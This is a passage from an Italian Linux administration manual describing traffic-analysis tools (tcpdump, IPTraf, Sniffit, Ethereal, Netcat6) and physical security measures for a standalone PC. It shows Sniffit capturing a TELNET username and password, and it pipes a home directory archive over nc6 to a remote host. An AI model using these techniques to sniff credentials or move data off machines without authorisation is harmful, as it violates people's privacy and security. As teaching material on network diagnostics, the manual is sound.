rete, che corrispondono a una data espressione. tcpdump [opzioni] [espressione] 2 Tcpdump software libero con licenza speciale

97 Strumenti per il controllo e l analisi del traffico IP 2081 Opzione -i interfaccia -l -n -s n_byte -w file -r file -x -F file Descrizione Definisce l interfaccia di rete attraverso cui tcpdump deve porsi in ascolto. Se non viene specificata, tcpdump sceglie la prima, ma potrebbe trattarsi anche di lo (loopback). Filtra l output attraverso una memoria tampone, in modo da gestire meglio le pipeline. Fa in modo di non convertire gli indirizzi numerici e i numeri di porta nei nomi corrispondenti. Permette di definire esplicitamente la quantità di byte da prendere in considerazione per ogni pacchetto. In modo predefinito vengono trattati solo i primi 68 byte. Quando la lunghezza è troppo breve per dare informazioni sufficienti, se viene identificato almeno il tipo di protocollo, quello che si ottiene è una stringa nella forma [ protocollo]. Memorizza i pacchetti grezzi all interno di un file, invece di analizzarli ed emetterne il risultato. Il contenuto di questo file può essere elaborato successivamente con l opzione -r. Legge i pacchetti da quanto accumulato precedentemente in un file attraverso l opzione -w. In pratica, permette di analizzare quanto raccolto in precedenza. Si limita a emettere i pacchetti in forma esadecimale. Per la precisione, viene emessa solo la parte dei pacchetti che rientra nel limite fissato con l opzione -s, ovvero i primi 68 byte se questa non è stata indicata. Permette di fornire l espressione di filtro dei pacchetti attraverso un file indicato con questa opzione. Segue la descrizione di alcuni esempi. # tcpdump -i eth0 Emette attraverso lo standard output tutto il traffico che può essere intercettato per mezzo dell interfaccia eth0. # tcpdump -n -i eth0 Come nell esempio precedente, ma le informazioni sugli indirizzi e sui numeri di porta vengono indicati in forma numerica. # tcpdump -x -i eth0 Emette attraverso lo standard output il contenuto della prima parte dei pacchetti che possono essere intercettati per mezzo dell interfaccia eth0. Questi dati vengono espressi in forma esadecimale Espressioni L utilizzo di Tcpdump non è molto utile se non viene definito un filtro a ciò che si vuole analizzare. Per questo motivo, dopo le opzioni normali della riga di comando può essere indicata un espressione, più o meno articolata: solo i pacchetti che soddisfano la condizione espressa vengono presi in considerazione. Questa espressione contiene spesso degli spazi: può essere fornita a Tcpdump in un argomento unico utilizzando dei delimitatori, oppure può essere composta da più argomenti in sequenza.

98 2082 Strumenti per il controllo e l analisi del traffico IP Inoltre, attraverso l opzione -F è possibile fornire l espressione contenuta in un file; in tal caso, l espressione può essere scritta su più righe, senza bisogno di simboli di continuazione. Le espressioni di Tcpdump sono composte da primitive che possono essere raggruppate per mezzo delle parentesi tonde (in modo da evitare ambiguità nell ordine di risoluzione) e connesse attraverso operatori booleani:! not && and or un punto esclamativo o la parola chiave not rappresenta la negazione logica; una doppia e-commerciale ( && ) o la parola chiave and rappresenta il concatenamento, ovvero un AND logico; una doppia barra verticale ( ) o la parola chiave or rappresenta l alternanza, ovvero un OR logico. All interno delle primitive possono apparire riferimenti a diversi tipi di entità, che vengono descritte brevemente. Gli indirizzi di origine o di destinazione, riferiti al protocollo TCP/IP, possono essere indicati attraverso nomi di dominio o numeri IP. In particolare, è possibile fare riferimento a una sottorete indicando il numero IP parziale. Le porte possono essere identificate per numero o per nome. Per identificare i protocolli si possono usare delle parole chiave precise; in particolare: ether, fddi, ip, arp, rarp, decnet, tcp, udp. Il protocollo identificato dalle parole chiave elencate dovrebbe essere intuitivo, almeno per i casi più comuni (IP, ARP, RARP, TCP e UDP). Le prime due parole chiave sono equivalenti: ether e fddi rappresentano semplicemente il secondo livello, collegamento dati, del modello ISO-OSI. Primitiva dst host host src host host host host ether dst host_ethernet ether src host_ethernet ether host host_ethernet gateway host dst net rete src net rete net rete Descrizione Se viene usata la parola chiave dst, si avvera se il campo della destinazione IP corrisponde al nodo indicato; se viene usata la parola chiave src, si avvera se il campo dell origine IP corrisponde al nodo indicato; altrimenti, in mancanza di tali parole chiave, si avvera se il nodo corrisponde indifferentemente all origine o alla destinazione. Definisce un indirizzo Ethernet numerico o derivato dal contenuto del file /etc/ethers. Come si può intuire, nel primo caso si fa riferimento a una destinazione, nel secondo a un origine, nel terzo non si fa differenza. Si avvera nel caso i pacchetti utilizzino il nodo indicato come gateway, ovvero, quando l indirizzo Ethernet dell origine o della destinazione non appartiene né all indirizzo IP dell origine, né a quello della destinazione. Se viene usata la parola chiave dst, si avvera se il campo della destinazione IP appartiene alla rete indicata; se viene usata la parola chiave src, si avvera se il campo dell origine IP appartiene alla rete indicata; altrimenti, in mancanza di tali parole chiave, si avvera se la rete corrisponde indifferentemente all origine o alla destinazione. La rete può essere indicata con un numero IP incompleto, oppure attraverso l aggiunta di una maschera di rete. Per cui, la sintassi potrebbe essere estesa nel modo seguente:

99 Strumenti per il controllo e l analisi del traffico IP 2083 Primitiva dst net {rete indirizzo_ip mask maschera_ip indirizzo_ip/lunghezza_maschera } src net {rete indirizzo_ip mask maschera_ip indirizzo_ip/lunghezza_maschera } net {rete indirizzo_ip mask maschera_ip indirizzo_ip/lunghezza_maschera } dst port porta src port porta port porta less lunghezza len <= lunghezza greather lunghezza len >= lunghezza ether proto protocollo ip proto protocollo [ether] broadcast ip broadcast [ether] multicast ip multicast Descrizione In tal caso, la maschera di rete può essere indicata attraverso un numero IP corrispondente, oppure attraverso la quantità di bit a uno nella parte iniziale di tale maschera. Definisce una porta TCP o UDP, trattandosi rispettivamente di un origine, di una destinazione, o di entrambe le cose indifferentemente. Si avvera se la dimensione del pacchetto è inferiore o uguale, oppure maggiore o uguale alla quantità di byte indicata. Definisce la selezione di un protocollo Ethernet attraverso un numero oppure un nome: ip, arp, rarp. Dal momento che questi nomi sono anche parole chiave per Tcpdump, vanno indicati facendoli precedere da una barra obliqua inversa ( \ ) (ciò tenendo conto anche del tipo di shell utilizzato; nel caso della shell Bash e di altre, occorre raddoppiare la barra obliqua inversa). Definisce la selezione di un protocollo IP attraverso un numero, oppure un nome: icmp, igrp, udp, nd, tcp. Tuttavia, i nomi icmp, tcp e udp vanno preceduti da una barra obliqua inversa ( \ ) per evitare che vengano interpretati in modo speciale da Tcpdump. Si avvera se il pacchetto è di tipo Ethernet broadcast. Si avvera per un pacchetto IP broadcast. Si avvera se il pacchetto è di tipo Ethernet multicast. Si avvera per un pacchetto IP multicast. Segue la descrizione di alcuni esempi. # tcpdump host dinkel.brot.dg Individua ed emette tutto il traffico riferito a dinkel.brot.dg. # tcpdump host dinkel.brot.dg and host roggen.brot.dg Individua ed emette tutto il traffico riferito simultaneamente a dinkel.brot.dg e a roggen.brot.dg. In pratica si limita a estrarre il traffico tra questi due nodi. # tcpdump host dinkel.brot.dg and \(host roggen.brot.dg or host weizen.brot.dg\)

100 2084 Strumenti per il controllo e l analisi del traffico IP Individua esclusivamente il traffico intrattenuto tra dinkel.brot.dg e roggen.brot.dg, oppure tra dinkel.brot.dg e weizen.brot.dg. Le parentesi tonde sono state protette attraverso la barra obliqua inversa per evitare una diversa interpretazione da parte della shell. # tcpdump host dinkel.brot.dg and not host roggen.brot.dg Analizza tutto il traffico intrattenuto da dinkel.brot.dg e tutti gli altri nodi, a esclusione di roggen.brot.dg. # tcpdump gateway router.brot.dg Analizza tutto il traffico che attraversa il nodo router.brot.dg senza essere diretto, o provenire da quello Controllo del traffico PPP Vale la pena di annotare un idea molto semplice per controllare in modo approssimativo il traffico di una connessione PPP. In questo caso, si pensa a una connessione PPP attraverso linea commutata, intesa come la connessione di un utente che accede a un ISP per collegarsi a Internet. L esigenza potrebbe nascere nel momento in cui si dovesse sospettare che il modem stia trasmettendo all esterno dati che non dovrebbe, magari per opera di un software manomesso ad arte per questo scopo. In un sistema GNU/Linux tipico ci sono diverse console virtuali inutilizzate, che potrebbero essere adibite al monitoraggio continuo del contenuto dei pacchetti che transitano attraverso l interfaccia ppp0. Per farlo basta usare Tcpdump, con l aiuto di un filtro come strings, come è già stato descritto. In questo caso, il tutto potrebbe essere avviato dallo script /etc/ppp/ip-up (direttamente o attraverso un altro script specifico). I comandi necessari sono quelli seguenti, supponendo di voler utilizzare la dodicesima console virtuale ( /dev/tty12 ): #!/bin/sh #... #... /bin/chown root.tty /dev/tty12 /bin/chmod 0600 /dev/tty12 /usr/bin/nohup /usr/sbin/tcpdump -l -i ppp0 -s 0 -w - \ /usr/bin/strings > /dev/tty12 & Si può osservare che si modificano i permessi di accesso al file di dispositivo /dev/tty12 per evitare che altri possano leggere il traffico attraverso il terminale stesso. In condizioni normali, quando l interfaccia di rete ppp0 scompare a seguito della conclusione della connessione, anche l eseguibile tcpdump termina di funzionare. Volendo complicare le cose, si può anche fare in modo che i dati vengano memorizzati in un registro, per poter fare una verifica successiva in modo più dettagliato: /usr/bin/nohup /usr/sbin/tcpdump -l -i ppp0 -s 0 -w - \ /usr/bin/tee /var/log/ppp0.log /usr/bin/strings > /dev/tty12 & Come si vede, il file /var/log/ppp0.log viene memorizzato prima di essere ridotto da strings.

101 Strumenti per il controllo e l analisi del traffico IP IPTraf IPTraf 3 è un programma di servizio per l analisi del traffico IPv4 (in parte anche di quello non IP), che transita attraverso la rete fisica a cui ci si trova connessi. IPTraf è specializzato nel tracciamento delle connessioni e nella produzione di statistiche, senza addentrarsi nella lettura del contenuto dei pacchetti. IPTraf è fondamentalmente un programma interattivo, che utilizza una console virtuale o un terminale a caratteri, organizzato attraverso dei menù. La figura mostra il menù generale di IPTraf. Figura Menù generale di IPTraf IP traffic monitor General interface statistics Detailed interface statistics TCP/UDP service monitor Ethernet station monitor TCP display filters Other protocol filters Options Exit IPTraf può essere configurato attraverso la funzione Options che appare nel menù generale. Inoltre, può annotare le informazioni sul traffico all interno di un registro. Il file di configurazione e quello delle registrazioni vengono creati all interno della directory /var/lib/iptraf/, che deve essere presente. Perché possa essere analizzato tutto il traffico della propria rete fisica, è necessario che sia abilitata la modalità promiscua, come descritto nella sezione dedicata alla configurazione di IPTraf. In questa sezione vengono descritti solo alcuni aspetti di IPTraf. Per il resto si può consultare la documentazione che accompagna questo programma. Tabella IPTraf funziona fondamentalmente in modo interattivo, tuttavia può essere avviato con delle opzioni in modo da raggiungere immediatamente la funzione desiderata. Sintassi di avvio iptraf iptraf -i iptraf -g iptraf -d interfaccia iptraf -s interfaccia 3 IPTraf GNU GPL Descrizione Avviando iptraf senza opzioni si ottiene il menù dal quale scegliere il tipo di funzione desiderata. Con l opzione -i si ottiene immediatamente la selezione della funzione IP traffic monitor, ovvero il monitor del traffico IP in tempo reale. Con l opzione -g si ottiene immediatamente la selezione della funzione General interface statistics, ovvero le statistiche generali delle interfacce presenti. Con l opzione -d e l aggiunta dell indicazione di un interfaccia di rete, si ottiene immediatamente la selezione della funzione Detailed interface statistics, ovvero le statistiche dettagliate di quell interfaccia. Con l opzione -s e l aggiunta dell indicazione di un interfaccia di rete, si ottiene immediatamente la selezione della funzione TCP/UDP service monitor, ovvero il monitor dei servizi TCP e UDP di quell interfaccia.

102 2086 Strumenti per il controllo e l analisi del traffico IP Sintassi di avvio iptraf -e Descrizione Con l opzione -e si ottiene immediatamente la selezione della funzione Ethernet station monitor, ovvero il monitor delle stazioni Ethernet (riguarda solo le interfacce Ethernet). La configurazione di IPTraf può essere definita a livelli differenti: la configurazione generale e quella che riguarda i filtri di selezione dei pacchetti da elaborare. La configurazione generale è definibile attraverso la funzione Options del menù generale, da cui si accede a quanto si vede nella figura 190.2, che rappresenta anche l impostazione predefinita. Figura Definizione delle opzioni generali di IPTraf Enabled Options Reverse DNS lookups Promiscuous operation Color Color Logging TCP timeout... Logging interval... TCP timeout: 15 mins Additional port... Log interval: 60 mins Delete port Exit menu Le opzioni si attivano e si disattivano premendo il tasto [ Invio ]; quando una voce è terminata da tre punti di sospensione (... ), selezionandola si ottiene una finestra a scomparsa attraverso la quale fornire altre indicazioni. Lo stato delle opzioni è indicato dalla finestra destra: Enabled Options. Opzione di configurazione Reverse DNS lookups Promiscuous operation Color Logging Descrizione Se attivata, fa in modo di risolvere gli indirizzi IP in nomi di dominio corrispondenti. L attivazione di questa modalità può provocare dei ritardi nel funzionamento di IPTraf, per cui è consigliabile limitarne l uso. Questa opzione è disattivata in modo predefinito. La modalità promiscua consente a IPTraf si analizzare tutto il traffico della rete fisica, non solo quello che interferisce con il nodo in cui si utilizza. Questa opzione è disattivata in modo predefinito. IPTraf è in grado di determinare automaticamente se il tipo di terminale utilizzato consente la visualizzazione dei colori o meno. Tuttavia, è possibile disabilitare la visualizzazione dei colori attraverso questa opzione. IPTraf può annotare le informazioni sul traffico all interno di un file di registrazioni, precisamente /var/lib/iptraf/ iptraf.log. Questa opzione è disabilitata in modo predefinito dal momento che il registro può diventare rapidamente molto grande. La funzionalità di controllo del traffico IP rappresenta l utilizzo più comune di IPTraf. Selezionando la voce corrispondente dal menù generale, oppure avviando iptraf con l opzione -i, si ottiene qualcosa di simile a quanto mostrato nella figura 190.3, dove in particolare appare anche lo stato di una connessione TELNET tra e

103 Strumenti per il controllo e l analisi del traffico IP 2087 Figura Monitor di traffico IP con una connessione TELNET attiva.. Source Destination Packets --- Bytes Flags Iface. / : : A- eth0 \ : : PA- eth0 TCP: 1 entries Active ARP from 0000b46507cb to ffffffffffff on eth0 ARP from 0080adc8a981 to 0000b46507cb on eth0 Top Elapsed time: 0: IP: 6150 TCP: 3136 UDP: 3014 ICMP: 0 Non-IP: 2 Up/Dn/PgUp/PgDn-scrl actv win W-chg actv win M-more TCP info X/Ctrl+X-Exit Il monitor di traffico IP si compone di due finestre: una superiore per le connessioni TCP e una inferiore per gli altri tipi. Una delle due finestre è quella attiva, che si distingue perché appare la parola Active sul bordo nella parte bassa, al lato destro. All interno della finestra attiva è possibile fare scorrere le informazioni con i tasti [ freccia su ] e [ freccia giù ]; per cambiare la finestra attiva basta utilizzare il tasto [ w ], come suggerisce il promemoria che appare nell ultima riga dello schermo. Per uscire da questa funzionalità basta il tasto [ x ], oppure la combinazione [ Ctrl+x ]. Non è possibile conoscere quale sia la parte che ha originato la connessione TCP, salvo intuirlo dalle convenzioni sull uso delle porte; nella finestra relativa, le connessioni TCP vengono sempre mostrate con una coppia di voci: una per ogni direzione della connessione TCP. Il significato delle varie colonne di informazione che appaiono nella finestra delle connessioni TCP dovrebbe essere abbastanza intuitivo, a parte la colonna Flags, all interno della quale possono essere annotate lettere e parole chiave differenti. Il significato di queste viene descritto di seguito. Simbolo S A P U RESET DONE CLOSED Descrizione L ultimo pacchetto individuato è stato di tipo SYN, sincronizzazione, che si usa in preparazione di una connessione. L ultimo pacchetto individuato è stato di tipo ACK, che si usa per confermare la ricezione precedente di un pacchetto. L ultimo pacchetto individuato è stato di tipo PSH, push, che si usa per richiedere lo spostamento dei dati all inizio della coda di ricezione. L ultimo pacchetto individuato è stato di tipo URG, che si usa per rappresentare dati urgenti. La connessione è stata azzerata dal nodo di origine della direzione a cui si riferisce. La connessione ha terminato l invio di dati nella direzione a cui si riferisce e ha inviato il pacchetto FIN, ma non è ancora stata confermata la conclusione dall altro nodo. L invio precedente del pacchetto FIN è stato confermato dall altra parte.

104 2088 Strumenti per il controllo e l analisi del traffico IP Se si verifica una presenza inusuale di pacchetti SYN, può trattarsi di un tentativo di attacco, definito SYN flood, che letteralmente significa: «inondazione di pacchetti SYN» Sniffit Sniffit 4 è un programma per l analisi del traffico di rete, che può essere usato per individuare le connessioni TCP in corso, oppure per conservare una sorta di registro delle comunicazioni avvenute, contenente le comunicazioni stesse. Naturalmente, la lettura del contenuto dei pacchetti può essere utile a livello didattico, oppure per individuare dei problemi nell utilizzo della rete, mentre diventa una pratica illegale quando ciò sconfina nel diritto alla riservatezza delle persone. La sintassi per l avvio di Sniffit è quella seguente, tenendo conto che almeno un opzione del primo gruppo è obbligatoria. sniffit {-v -s nodo -t nodo -i -I -c file_di_configurazione}... altre_opzioni Segue la descrizione di alcune opzioni. Opzione Descrizione -v Mostra la versione e non fa altro. Limitano l osservazione, rispettivamente, al nodo di origine -s nodo e al nodo di destinazione indicati. Queste opzioni riguardano solo per il traffico TCP e UDP. L indirizzo, se espresso in forma numerica, può essere parziale e completato con il simbolo -t -i Attiva un funzionamento interattivo, dove -I mostra più informazioni. -I Consente di indicare un file contenente una serie di direttive, -c file attraverso le quali si stabilisce il comportamento di Sniffit. Consente di specificare il nome dell interfaccia di rete a cui -F interfaccia fare riferimento. -d Mostra i pacchetti sullo schermo, rispettivamente in esadecimale e in ASCII -a Consente di selezionare un tipo di protocollo, tra quelli -P {IP TCP UDP ICMP} indicati. Questa opzione è incompatibile con -i o -I. Per quanto riguarda i protocolli TCP e UDP, consente di -p n_porta limitare l attenzione ai pacchetti riferiti alla porta indicata. Definisce la quantità massima di byte da accumulare per ogni -l n_byte pacchetto. Il valore zero serve a non porre limiti. Qui viene mostrato soltanto il funzionamento interattivo, con l opzione -I, all interno del quale è possibile anche inserirsi in uno dei flussi TCP per leggerne i dati: # sniffit -I -F eth0 In questo modo si ottiene il funzionamento interattivo, specificando espressamente l interfaccia (in questo caso si tratta di eth0. Quello che si vede nella figura seguente è soltanto il traffico 4 Sniffit software libero con licenza speciale

105 Strumenti per il controllo e l analisi del traffico IP 2089 TCP attivo: Figura Sniffit durante il funzionamento interattivo con l opzione -I..--Sniffit Beta > : TELNET > : TELNET Sniffit Beta Source IP : All Source PORT : All Destination IP: All Destination PORT: All Masks: F1-Source IP F2-Dest. IP F3-Source Port F4-Dest. Port Nel riquadro delle connessioni TCP, appare un cursore, con cui è possibile selezionare, all interno di una connessione, uno dei due flussi (andata o ritorno). Una volta collocato il cursore sopra un flusso di interesse, basta premere [ Invio ] per ottenere una finestra in cui appare il contenuto di quella comunicazione: Figura Intercettazione di una copia del flusso di dati..--sniffit Beta > : TELNET > : TELNET tizio..baci > Sniffit Beta Source IP : All Source PORT : All Destination IP: All Destination PORT: All Masks: F1-Source IP F2-Dest. IP F3-Source Port F4-Dest. Port Come si può intuire dalla figura, in questo caso si intercetta il flusso dei dati trasmessi da un cliente TELNET, proprio nella fase dell autenticazione: l utente tizio, con la parola d ordine baci Questo esempio viene mostrato proprio per far comprendere quanto vulnerabile sia un terminale remoto che non

106 2090 Strumenti per il controllo e l analisi del traffico IP utilizzi una comunicazione cifrata.

107 Strumenti per il controllo e l analisi del traffico IP Ethereal Ethereal 6 è un programma per l analisi del traffico di rete, fino al livello due del modello ISO- OSI (collegamento dati), riuscendo a riconoscere all interno di questo una serie di protocolli al livello tre e quattro del modello ISO-OSI (rete). In particolare, individua correttamente molti protocolli collegati a IPv4 e IPv6. Ethereal è pensato principalmente per accumulare il traffico intercettato, allo scopo di consentire un analisi dettagliata di questo in un momento successivo; nello stesso modo è predisposto per accedere a informazioni di questo genere accumulate da programmi diversi, così come è in grado di esportare i propri dati in formati alternativi. Ethereal consente anche una visualizzazione in tempo reale del traffico in corso, in modo analogo a quanto fa IPTraf, con la differenza che le informazioni fornite sono molto più chiare. In questo senso, Ethereal è un ottimo strumento didattico per lo studio delle reti. Ethereal viene usato normalmente attraverso il sistema grafico X e deve funzionare con i privilegi dell utente root, per poter accedere direttamente all interfaccia di rete da sondare. L eseguibile da avviare è ethereal : ethereal [opzioni] Qui si intende mostrare il funzionamento di Ethereal in modo interattivo, senza l uso di opzioni nella riga di comando. Eventualmente si può consultare la pagina di manuale ethereal(1). Figura Ethereal avviato senza opzioni, rimane in attesa prima di iniziare la sua analisi. 6 Ethereal GNU GPL

108 2092 Strumenti per il controllo e l analisi del traffico IP Una volta avviato l eseguibile ethereal, per ottenere un analisi del traffico in tempo reale può essere necessario controllare la configurazione. Si trova la voce Preferences nel menù Edit: Figura La finestra di configurazione di Ethereal per quanto riguarda la selezione dei pacchetti catturati. La figura mostra in particolare la selezione della modalità promiscua, con cui si intercettano tutti i pacchetti che l interfaccia di rete selezionata è in grado di osservare. Una volta definita la configurazione e selezionata l interfaccia di rete di interesse, si può passare alla cattura dei pacchetti, selezionando la voce Start dal menù Capture. Si ottiene una finestra da cui è possibile aggiustare le opzioni relative alla cattura:

109 Strumenti per il controllo e l analisi del traffico IP 2093 Figura La finestra che appare quando si chiede di iniziare la cattura dei pacchetti. Durante la cattura dei pacchetti viene visualizzata una statistica sull avanzamento di questo lavoro, dove appare un pulsante grafico che consente di fermare l accumulo dei dati. Se era stata richiesta la visualizzazione in tempo reale delle informazioni relative alla cattura, anche il contenuto dei pacchetti viene visualizzato nella finestra principale di Ethereal.

110 2094 Strumenti per il controllo e l analisi del traffico IP Figura Statistiche visualizzate durante la cattura dei pacchetti. La finestra principale di Ethereal si divide in tre parti: in quella superiore appare l elenco di pacchetti intercettati con una descrizione essenziale del loro contenuto; selezionando un pacchetto nella parte superiore, in quella centrale appare un elenco ad albero di componenti del pacchetto stesso; selezionando una voce nell elenco del riquadro centrale, appare in quello inferiore l evidenziamento della porzione di pacchetto che lo riguarda. La figura seguente mostra la porzione IP di un pacchetto relativo a una comunicazione TELNET:

111 Strumenti per il controllo e l analisi del traffico IP 2095 Figura Porzione IP di un pacchetto relativo a una comunicazione TELNET. Nella figura successiva, si analizzano i dati TCP dello stesso pacchetto, mostrando in particolare dove si colloca l informazione sulla porta di destinazione:

112 2096 Strumenti per il controllo e l analisi del traffico IP Figura Porta di destinazione TCP di un pacchetto relativo a una comunicazione TELNET IPlogger IPlogger 7 è un pacchetto di programmi contenente alcuni demoni che si occupano di annotare le connessioni all interno del registro del sistema. Allo stato attuale si tratta solo di tcplog e di icmplog, in grado rispettivamente di annotare le connessioni TCP e l utilizzo del protocollo ICMP. Non è niente di eccezionale, ma qualcosa di utile nel caso non si abbiano strumenti migliori. Non c è molto da aggiungere sull utilizzo di questi due demoni: basta fare in modo che la procedura di inizializzazione del sistema provveda ad avviarli e loro si arrangiano. Non occorre alcuna configurazione. È probabile che questo pacchetto abbia uno sviluppo futuro, aggiungendo varie forme di identificazione di attacchi noti. 7 IPlogger GNU GPL

113 Strumenti per il controllo e l analisi del traffico IP Netcat6 Netcat6 8 è un programma creato allo scopo di leggere e scrivere dati attraverso delle connessioni di rete TCP o UDP. Si tratta di uno strumento generico, vagamente simile a un cliente TELNET, con la differenza che può funzionare anche con il protocollo UDP. Le potenzialità di questo programma sono notevoli, ma qui verranno mostrate solo alcune delle sue caratteristiche; per il resto si può leggere la sua documentazione, che per essere compresa richiede comunque un po di esperienza nella gestione delle reti TCP/IP. Netcat6 può funzionare, quasi indifferentemente, come cliente o servente di una connessione; per questo è uno strumento ottimale per la verifica del funzionamento delle connessioni di rete e non solo. In un certo senso, l eseguibile nc6, ovvero ciò che costituisce Netcat6, è paragonabile idealmente al programma dd, con la differenza che invece di fare riferimento a dei dispositivi, si lavora con la rete a livello di trasporto TCP e UDP: il quarto nel modello ISO-OSI. L eseguibile nc6 è tutto ciò che compone Netcat6. Questo programma instaura una connessione, in qualità di cliente o di servente, utilizzando il protocollo TCP oppure UDP, trasmettendo ciò che ottiene dallo standard input e restituendo attraverso lo standard output ciò che riceve dall altro capo. nc6 [opzioni] host porta nc6 -l -p porta [host [porta]] L uso di Netcat6 differisce fondamentalmente a seconda del fatto che si voglia raggiungere un servizio in ascolto presso un nodo, a una porta determinata, oppure che si intenda avviarlo per restare in ascolto in attesa di una richiesta di connessione. Nel secondo caso si usa l opzione -l (Listen). Il funzionamento di questo programma si comprende meglio attraverso degli esempi, ma per il momento viene mostrato il significato di alcune opzioni. Opzione Descrizione -4 Forza l utilizzo di IPv4. -6 Forza l utilizzo di IPv6. -l Fa in modo che Netcat6 venga avviato per restare in ascolto di una certa porta (specificata attraverso l opzione -p ). -p porta Permette di specificare la porta a cui Netcat6 deve prestare ascolto. Si usa assieme all opzione -l. -n Fa in modo che si eviti di tentare di risolvere gli indirizzi IP in nomi di dominio. Definisce esplicitamente l indirizzo IP locale. Perché ciò possa -s indirizzo_ip_locale essere fatto, occorre che questo indirizzo sia abbinato effet- tivamente a un interfaccia di rete, eventualmente anche solo come alias. -u Utilizza il protocollo UDP. Senza questa opzione, viene usato il protocollo TCP in modo predefinito. L esempio seguente, serve a instaurare una connessione TCP con il servente SMTP dinkel.brot.dg: $ nc6 dinkel.brot.dg smtp Un uso interessante di Netcat6 è quello con il quale si ottiene un trasferimento dati senza bisogno di una shell remota ( rsh per esempio). Per questo, da una parte occorre avviare l eseguibile 8 Netcat6 GNU GPL

114 2098 Strumenti per il controllo e l analisi del traffico IP nc6 in ascolto di una certa porta TCP, mentre dall altra si utilizza sempre nc6 in modo che cerchi di contattare quella porta di quel nodo. Il canale che si crea può essere sfruttato per questo scopo. $ nc6 -l -p 1234 tar xzpvf - In questo modo, Netcat6 viene avviato in ascolto della porta 1234, che si presume sia libera. Il suo standard output viene passato a tar che deve occuparsi di estrarne il contenuto nella directory corrente. In pratica, si presume che Netcat6 debba ricevere dalla porta 1234 un file corrispondente a un archivio tar+gzip e che questo debba essere riprodotto localmente. $ tar czf - /home/tizio nc6 dinkel.brot.dg 1234 Questo comando è la controparte dell esempio mostrato prima: viene archiviata la directory /home/tizio/ e passata all eseguibile nc6 attraverso una pipeline. Evidentemente, dinkel.brot.dg è il nodo all interno del quale deve essere riprodotta tale directory. Netcat6 può essere usato per ridirigere una connessione TCP, per esempio attraverso un firewall. Gli esempi seguenti si riferiscono a Inetd, pertanto si tratta di direttive del file /etc/ inetd.conf. www stream tcp nowait nobody /usr/sbin/tcpd /usr/bin/nc6 roggen.brot.dg 80 In questo caso, le richieste TCP per la porta www (ovvero 80), sono ridirette attraverso Netcat6 verso il nodo roggen.brot.dg alla stessa porta. www stream tcp nowait nobody /usr/sbin/tcpd /usr/bin/nc6 roggen.brot.dg 1234 Questa è solo una piccola variante dell esempio precedente, in cui si presume che il vero servente HTTP si trovi sempre nel nodo roggen.brot.dg, ma sia in ascolto della porta Appunti di informatica libera Copyright Daniele Giacomini -- swlibero.org

115 Capitolo 191 Misure di sicurezza per l elaboratore personale senza rete Anche quando l elaboratore non è connesso a una rete, potrebbe essere vulnerabile per il solo fatto di essere accessibile fisicamente da parte di altre persone. In questo capitolo vengono raccolte solo alcune note al riguardo Avvio e riavvio Il primo punto debole di un elaboratore che può essere raggiunto fisicamente da un intruso, sta nella possibilità di essere avviato, o riavviato, in modo da poterne controllare il funzionamento. In pratica, se si esclude la possibilità del furto del disco fisso (che comunque non è poi tanto remota), bisogna impedire che si possa riavviare l elaboratore attraverso un dischetto o un CD- ROM, perché in questo modo si potrebbe prendere il controllo della macchina e accedere ai dati come si vuole. Questo si impedisce a livello di firmware (il BIOS), definendo una parola d ordine da inserire ogni volta che si avvia l elaboratore. Oltre a questa soluzione che riguarda l hardware, si potrebbe intervenire ulteriormente anche sul programma che si occupa di avviare il kernel. Nel caso di LILO si può aggiungere la direttiva password=parola_d ordine con la quale questa parola d ordine viene chiesta ogni volta che si avvia. Eventualmente, si può aggiungere la direttiva restricted per fare in modo che questa parola d ordine venga richiesta solo quando si aggiunge un comando di avvio. Evidentemente, se si interviene in questo modo, bisogna considerare i permessi del file di configurazione /etc/lilo.conf : se si vuole evitare che gli utenti comuni possano leggerlo, basta togliere tutti i permessi per il gruppo proprietario e per tutti gli altri utenti. # chmod 0600 /etc/lilo.conf È bene tenere presente che la direttiva password può essere utilizzata prima delle sezioni che si riferiscono alle varie immagini, ovvero nella parte delle opzioni globali, oppure può essere collocata all interno di una di queste sezioni. Nel primo caso la parola d ordine viene chiesta sempre, mentre nel secondo viene chiesta solo alla selezione di un immagine determinata. Lo stesso ragionamento vale per la direttiva restricted. Il riavvio dell elaboratore potrebbe essere un altro problema da considerare. Di certo, se c è un accesso fisico alla macchina da parte del solito ignoto, è difficile impedire che questo possa spegnere e riaccendere l elaboratore, tuttavia gli può essere impedito di utilizzare la nota combinazione [ Ctrl+Alt+Canc ]. Per questo basta modificare il file /etc/inittab, dove di solito si trova un record simile a quello seguente: # What to do when CTRL-ALT-DEL is pressed. ca:12345:ctrlaltdel:/sbin/shutdown -t1 -a -r now Per impedirlo, basta modificare il comando abbinato alla combinazione. Si osservi la modifica seguente, in cui il record originale è stato conservato all interno di un commento: # What to do when CTRL-ALT-DEL is pressed. #ca:12345:ctrlaltdel:/sbin/shutdown -t1 -a -r now ca:12345:ctrlaltdel:/bin/echo "La combinazione Ctrl+Alt+Canc è disabilitata" 2099

116 2100 Misure di sicurezza per l elaboratore personale senza rete Protezione del terminale e della console Se quello che si utilizza è un terminale seriale, o un terminale remoto, la cosa migliore da fare per proteggere il proprio lavoro mentre ci si allontana è quello di chiudere la sessione di lavoro. Se si avviano dei processi sullo sfondo è bene prevedere in anticipo questo fatto, avviandoli attraverso nohup (sezione ), oppure si può utilizzare Screen (sezione 50.5). Se si utilizza una console, dal momento che è molto probabile che si stiano utilizzando diverse console virtuali simultaneamente, questo tipo di soluzione potrebbe essere un po troppo complicato. In questi casi si preferisce usare un programma apposito che blocca l accesso a tutte le console virtuali $ lockvc lockvc 1 è un programma molto semplice che fa uso della libreria SVGAlib e si comporta come un salva-schermo protetto da una parola d ordine. Il suo funzionamento è molto semplice, tanto da riassumersi nello schema sintattico seguente: lockvc [stars morph fudge fire] In pratica, l argomento composto da una parola chiave, stabilisce il tipo di effetto che si vuole visualizzare come salva-schermo, che interviene subito bloccando tutte le console virtuali. Quando si preme un tasto alfanumerico, il salva-schermo si interrompe e viene richiesto l inserimento della parola d ordine dell utente che lo ha avviato (viene specificato di quale utente si tratta); se l identificazione fallisce il salva-schermo riprende, altrimenti vlock termina di funzionare $ vlock vlock [opzioni] vlock 2 è un programma ancora più semplice di lockvc, senza alcuna pretesa di funzionare come salva-schermo, che si limita a bloccare la console virtuale in cui viene avviato, a meno che sia utilizzata l opzione -a, con la quale vengono bloccate anche tutte le altre console virtuali. A differenza di lockvc, il funzionamento di vlock può essere concluso anche con l inserimento della parola d ordine dell utente root Protezione del lavoro con X La protezione del lavoro su una stazione grafica può essere fatta in modo simile a quello che riguarda la console, attraverso programmi che la bloccano, eventualmente attivando un salvaschermo. Tuttavia, esiste un problema in più: per evitare che sia possibile 